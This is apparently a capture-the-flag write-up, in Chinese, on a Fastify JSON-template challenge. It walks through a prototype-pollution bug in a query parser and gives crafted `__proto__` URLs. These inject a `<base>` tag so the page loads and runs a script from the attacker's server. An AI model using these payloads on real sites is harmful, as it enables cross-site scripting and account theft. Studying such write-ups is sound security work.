题目信息:Found this new web framework the other day---you don't need to write any code, just JSON.
我们先来搞清楚究竟发生了什么
当我们访问 /index
js
/**
* 处理 /:page 路径的 GET 请求
* @param {Object} req - 请求对象
* @param {Object} reply - 响应对象
* @returns {Promise<string>} - 替换后的 HTML 页面内容
*/
fastify.get("/:page", async (req, reply) => {
// 获取请求的页面名称,默认为 index
const page = req.params.page || "index";
// 检查页面名称是否合法
if (!/^\w+$/.test(page)) {
// 页面名称不合法,返回 400 状态码和错误信息
reply.code(400);
return { err: "invalid page" };
}
// 设置 Content-Security-Policy 响应头
reply.header(
"content-security-policy",
`require-trusted-types-for 'script'; trusted-types 'none'`
);
// 设置响应内容类型为 text/html
reply.type("text/html");
// 异步获取页面数据并转换为 JSON 字符串,同时转义 < 字符
const initial = JSON.stringify(await getPage(page, req.query)).replace(/</g, "\\x3c");
// 读取 index.html 文件并替换其中的 {{initial}} 占位符
return (await fs.readFile("index.html")).toString().replace(/\{\{initial\}\}/g, initial);
});
首先,对应路由的模板将被在getPage转换为对象
js
/**
* 异步获取页面数据并替换模板占位符
* @param {string} page - 页面名称
* @param {Object} props - 用于替换占位符的键值对对象
* @returns {Promise<Object>} - 处理后的页面数据
*/
async function getPage(page, props) {
// 异步读取页面的 JSON 文件并解析为对象
const pageDocument = JSON.parse((await fs.readFile(`./pages/${page}.json`)).toString());
// 替换页面数据中的所有模板占位符
return replaceAllProps(pageDocument, props);
}
我们输入的参数会被自定义函数处理
js
/**
* 解析扩展的查询字符串,支持嵌套参数
* @param {string} query - 需要解析的查询字符串
* @returns {Object} - 解析后的查询参数对象
*/
function parseQuery(query) {
// 移除查询字符串开头的问号
query = query.replace(/^\?/, "");
// 将查询字符串按 & 分割成参数数组
const params = query.split("&");
const result = {};
// 遍历参数数组
for (const param of params) {
// 将每个参数按 = 分割成键值对,并对其进行 URI 解码
const [key, value] = param.split("=").map(decodeURIComponent);
// 如果键包含 [,说明是嵌套参数
if (key.includes("[")) {
// 将键按 [ 分割成多个部分,并移除每个部分末尾的 ]
const parts = key.split("[").map((part) => part.replace(/]$/, ""));
let curr = result;
// 遍历除最后一个部分外的所有部分
for (let part of parts.slice(0, -1)) {
// 如果当前对象中不存在该部分对应的属性,则创建一个空对象
if (curr[part] === undefined) {
curr[part] = {};
}
// 将当前对象指向该属性
curr = curr[part];
}
// 将值赋给最后一个部分对应的属性
curr[parts[parts.length - 1]] = value;
} else {
// 普通参数,直接赋值
result[key] = value;
}
}
return result;
}
此处存在原型污染漏洞
输入:?filter[date][from]=2023-01-01&filter[date][to]=2023-12-31
输出:{
filter: {
date: {
from: "2023-01-01",
to: "2023-12-31"
}
}
}
解析后的参数对象一同与模板对象进入replaceAllProps,replaceAllProps遍历每个属性的v放入replaceProps来替换模板
js
/**
* 递归替换对象中的所有模板占位符
* @param {Object|any} obj - 需要处理的对象或值
* @param {Object} props - 用于替换占位符的键值对对象
* @returns {Object|any} - 处理后的对象或值
*/
function replaceAllProps(obj, props) {
// 如果 obj 不是对象,则直接返回
if (typeof obj !== "object") {
return obj;
}
// 如果 obj 有 attributes 属性,则替换其中的占位符
if (obj.attributes !== undefined) {
obj.attributes = Object.fromEntries(
Array.from(Object.entries(obj.attributes)).map(([key, value]) => [
key,
replaceProps(value, props),
])
);
}
// 如果 obj 有 text 属性,则替换其中的占位符
if (obj.text !== undefined) {
obj.text = replaceProps(obj.text, props);
}
// 如果 obj 有 children 属性,则递归处理每个子对象
if (obj.children !== undefined) {
obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
}
return obj;
}
在此函数中进行替换
js
/**
* 替换字符串中的模板占位符
* @param {string} s - 包含模板占位符的字符串
* @param {Object} props - 用于替换占位符的键值对对象
* @returns {string} - 替换后的字符串
*/
function replaceProps(s, props) {
// 遍历键值对对象
for (const [key, value] of Object.entries(props)) {
// 使用正则表达式替换所有匹配的占位符
s = s.replace(new RegExp(`{{${escapeRegex(key)}}}`, "g"), value);
}
// 移除所有未替换的占位符
s = s.replace(/{{\w+}}/g, "");
return s;
}
js
// 输入模板
const template = "欢迎{{user}},今天是{{day}},剩余{{credit}}积分";
// 替换参数
const params = {
user: "张三",
day: "星期一",
// 注意:credit 参数未提供
};
// 执行替换
replaceProps(template, params);
// 输出:"欢迎张三,今天是星期一,剩余积分"
当处理完成后,所有的<都会被转义,并被插入index.html的{{initial}}
js
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Writeups</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
</head>
<body>
<div id="content"></div>
<script>
const initial = {{initial}};
</script>
<script src="/scripts/utils.js"></script>
<script src="/scripts/load.js"></script>
<script src="/scripts/routing.js"></script>
</body>
</html>
然后在前端转换为html
js
/**
* 将JSON对象转换为DOM元素。
* @param {Object|string} json - 表示DOM结构的JSON对象,或者是一个字符串。
* @returns {Node} - 转换后的DOM节点。
*/
function jsonToDom(json) {
// 如果传入的json是字符串,则创建一个文本节点
if (typeof json === "string") {
return document.createTextNode(json);
}
// 解构json对象,获取标签名、文本内容、属性和子节点
const { tag, text, attributes, children } = json;
// 创建指定标签名的DOM元素
const element = document.createElement(tag);
// 如果存在文本内容,则设置元素的文本内容
if (text !== undefined) {
element.textContent = text;
}
// 如果存在属性,则遍历属性对象并设置元素的属性
if (attributes !== undefined) {
for (const [key, value] of Object.entries(attributes)) {
element.setAttribute(key, value);
}
}
// 如果存在子节点,则递归调用jsonToDom函数并将结果添加到元素中
if (children !== undefined) {
for (const childJson of children) {
element.append(jsonToDom(childJson));
}
}
return element;
}
// JSON输入示例
const template = {
tag: "div",
attributes: { class: "card" },
children: [
{
tag: "h2",
text: "用户信息",
attributes: { id: "user-title" }
},
{
tag: "p",
children: [
"姓名:",
{
tag: "span",
text: "张三",
attributes: { class: "username" }
}
]
}
]
};
// 转换为DOM元素
const cardElement = jsonToDom(template);
// 最终生成的DOM结构:
/*
<div class="card">
<h2 id="user-title">用户信息</h2>
<p>
姓名:
<span class="username">张三</span>
</p>
</div>
*/
我该如何利用原型污染,进行xss?
似乎并模板中并没有.text,
http://127.0.0.1:8000/?__proto__[text]=A5rZ
似乎所有没有text,的children都拥有了text
html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<title>Writeups</title>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
</head>
<body>
<div id="content"></div>
<script>
const initial = {
"tag": "div",
"attributes": {},
"children": [{
"tag": "link",
"attributes": {
"rel": "stylesheet",
"href": "/static/styles.css"
},
"text": "A5rZ"
}, {
"tag": "header",
"attributes": {
"class": "home-header",
"id": "home"
},
"children": [{
"tag": "div",
"attributes": {
"class": "container"
},
"children": [{
"tag": "h1",
"attributes": {},
"text": "John Smith"
}, {
"tag": "p",
"attributes": {},
"text": "Web Developer | Software Engineer | Problem Solver"
}, {
"tag": "p",
"attributes": {},
"text": "Specializing in building high-quality web applications and solutions."
}, {
"tag": "a",
"attributes": {
"href": "about",
"class": "btn"
},
"text": "Learn More About Me"
}, " ", {
"tag": "a",
"attributes": {
"href": "projects",
"class": "btn"
},
"text": "View My Projects"
}],
"text": "A5rZ"
}],
"text": "A5rZ"
}, {
"tag": "footer",
"attributes": {},
"children": [{
"tag": "div",
"attributes": {
"class": "container"
},
"children": [{
"tag": "p",
"attributes": {},
"text": "© 2025 John Smith. All rights reserved."
}, {
"tag": "a",
"attributes": {
"href": "index"
},
"text": "Home"
}, " | ", {
"tag": "a",
"attributes": {
"href": "about"
},
"text": "About"
}, " | ", {
"tag": "a",
"attributes": {
"href": "projects"
},
"text": "Projects"
}, " | ", {
"tag": "a",
"attributes": {
"href": "contact"
},
"text": "Contact"
}],
"text": "A5rZ"
}],
"text": "A5rZ"
}],
"text": "A5rZ"
};
</script>
<script src="/scripts/utils.js"></script>
<script src="/scripts/load.js"></script>
<script src="/scripts/routing.js"></script>
</body>
</html>
这是否意味着我也为每个没有children的children获得原型的children
http://127.0.0.1:8000/?__proto__[children]=A5rZ
html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<title>Writeups</title>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
</head>
<body>
<div id="content"></div>
<script>
const initial = {
"tag": "div",
"attributes": {},
"children": [{
"tag": "link",
"attributes": {
"rel": "stylesheet",
"href": "/static/styles.css"
},
"text": "A5rZ",
"children": ["A", "5", "r", "Z"]
}, {
"tag": "header",
"attributes": {
"class": "home-header",
"id": "home"
},
"children": [{
"tag": "div",
"attributes": {
"class": "container"
},
"children": [{
"tag": "h1",
"attributes": {},
"text": "John Smith",
"children": ["A", "5", "r", "Z"]
}, {
"tag": "p",
"attributes": {},
"text": "Web Developer | Software Engineer | Problem Solver",
"children": ["A", "5", "r", "Z"]
}, {
"tag": "p",
"attributes": {},
"text": "Specializing in building high-quality web applications and solutions.",
"children": ["A", "5", "r", "Z"]
}, {
"tag": "a",
"attributes": {
"href": "about",
"class": "btn"
},
"text": "Learn More About Me",
"children": ["A", "5", "r", "Z"]
}, " ", {
"tag": "a",
"attributes": {
"href": "projects",
"class": "btn"
},
"text": "View My Projects",
"children": ["A", "5", "r", "Z"]
}],
"text": "A5rZ"
}],
"text": "A5rZ"
}, {
"tag": "footer",
"attributes": {},
"children": [{
"tag": "div",
"attributes": {
"class": "container"
},
"children": [{
"tag": "p",
"attributes": {},
"text": "© 2025 John Smith. All rights reserved.",
"children": ["A", "5", "r", "Z"]
}, {
"tag": "a",
"attributes": {
"href": "index"
},
"text": "Home",
"children": ["A", "5", "r", "Z"]
}, " | ", {
"tag": "a",
"attributes": {
"href": "about"
},
"text": "About",
"children": ["A", "5", "r", "Z"]
}, " | ", {
"tag": "a",
"attributes": {
"href": "projects"
},
"text": "Projects",
"children": ["A", "5", "r", "Z"]
}, " | ", {
"tag": "a",
"attributes": {
"href": "contact"
},
"text": "Contact",
"children": ["A", "5", "r", "Z"]
}],
"text": "A5rZ"
}],
"text": "A5rZ"
}],
"text": "A5rZ"
};
</script>
<script src="/scripts/utils.js"></script>
<script src="/scripts/load.js"></script>
<script src="/scripts/routing.js"></script>
</body>
</html>
这似乎是可能的
http://127.0.0.1:8000/?__proto__[children][tag]=h1&__proto__[children][attributes][style]=color: red&__proto__[children][text]=A5rZ
但是当我尝试更多的时候,这些属性就不会被合并
赛后 ------------------------------------------------------------------------------------------------------------
在 replaceAllProps 函数中,60行的obj.children
赋值逻辑要求 children 必须是数组类型。即使成功注入原型污染,如果注入的不是数组结构,也会导致处理中断:
javascript:src/app/index.js
// ... existing code ...
if (obj.children !== undefined) {
obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
}
// ... existing code ...
注意
array[]
必须拥有 length,所以我们必须添加length加以伪装
http://127.0.0.1:8000/?__proto__[children][0][tag]=test&__proto__[children][length]=1
HTML <base>
标签解析
<base>
是 HTML 的根路径定义标签,主要用于:
- 基准URL设置
href
属性指定文档中所有相对URL的根路径:
html
<base href="https://example.com/">
- 默认打开方式
target
属性定义所有链接的默认打开方式(如_blank
新窗口)
接下来,我们可以劫持base
http://127.0.0.1:8000/?__proto__[children][0][tag]=base&&__proto__[children][0][attributes][href]=http://127.0.0.1&__proto__[children][length]=1
接下来在我们的本地服务器中
/scripts/routing.js
中放置恶意脚本,因为base被篡改,/routing.js
将从我们的服务器中被加载并执行
html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Writeups</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
</head>
<body>
<div id="content"></div>
<script>
const initial = {{initial}};
</script>
<script src="/scripts/utils.js"></script>
<script src="/scripts/load.js"></script>
<script src="/scripts/routing.js"></script>
</body>
</html>